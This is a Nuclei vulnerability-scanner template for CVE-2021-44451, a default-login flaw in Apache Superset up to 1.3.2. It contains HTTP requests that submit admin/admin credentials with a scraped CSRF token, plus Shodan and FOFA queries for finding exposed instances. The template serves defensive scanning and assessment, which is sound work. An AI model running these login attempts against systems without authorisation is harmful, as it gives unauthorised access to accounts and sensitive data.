id: CVE-2021-44451

info:
  name: Apache Superset <=1.3.2 - Default Login
  author: dhiyaneshDK
  severity: medium
  description: |
    Apache Superset through 1.3.2 contains a default login vulnerability via registered database connections for authenticated users. An attacker can obtain access to user accounts and thereby obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can gain unauthorized access to the Apache Superset application.
  remediation: Upgrade to Apache Superset 1.4.0 or higher.
  reference:
    - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/apache-superset-default-credentials.json
    - https://lists.apache.org/thread/xww1pccs2ckb5506wrf1v4lmxg198vkb
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44451
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-44451
    cwe-id: CWE-522
    epss-score: 0.07863
    epss-percentile: 0.93938
    cpe: cpe:2.3:a:apache:superset:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: apache
    product: superset
    shodan-query:
      - http.favicon.hash:1582430156
      - http.html:"apache superset"
    fofa-query:
      - body="apache superset"
      - icon_hash=1582430156
  tags: cve2021,cve,apache,superset,default-login,vuln

http:
  - raw:
      - |
        GET /login/ HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf_token={{csrf_token}}&username={{username}}&password={{password}}
      - |
        GET /dashboard/list/ HTTP/1.1
        Host: {{Hostname}}

    payloads:
      username:
        - admin
      password:
        - admin
    attack: pitchfork

    matchers-condition: and
    matchers:
      - type: word
        part: header_2
        words:
          - 'session'

      - type: word
        part: body_3
        words:
          - 'DashboardFilterStateRestApi'

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        regex:
          - 'name="csrf_token" type="hidden" value="(.*)"'
        internal: true
        part: body
# digest: 4a0a00473045022100f5cd186a821f41143a0e70eaf140bca6c0f0807836f5e6b1a926b50f7b2d77a802203229170c6adf3f569e21007407f1e1628622a9d582579b9bdd7662ee2fa782cb:922c64590222798bb761d5b6d8e72950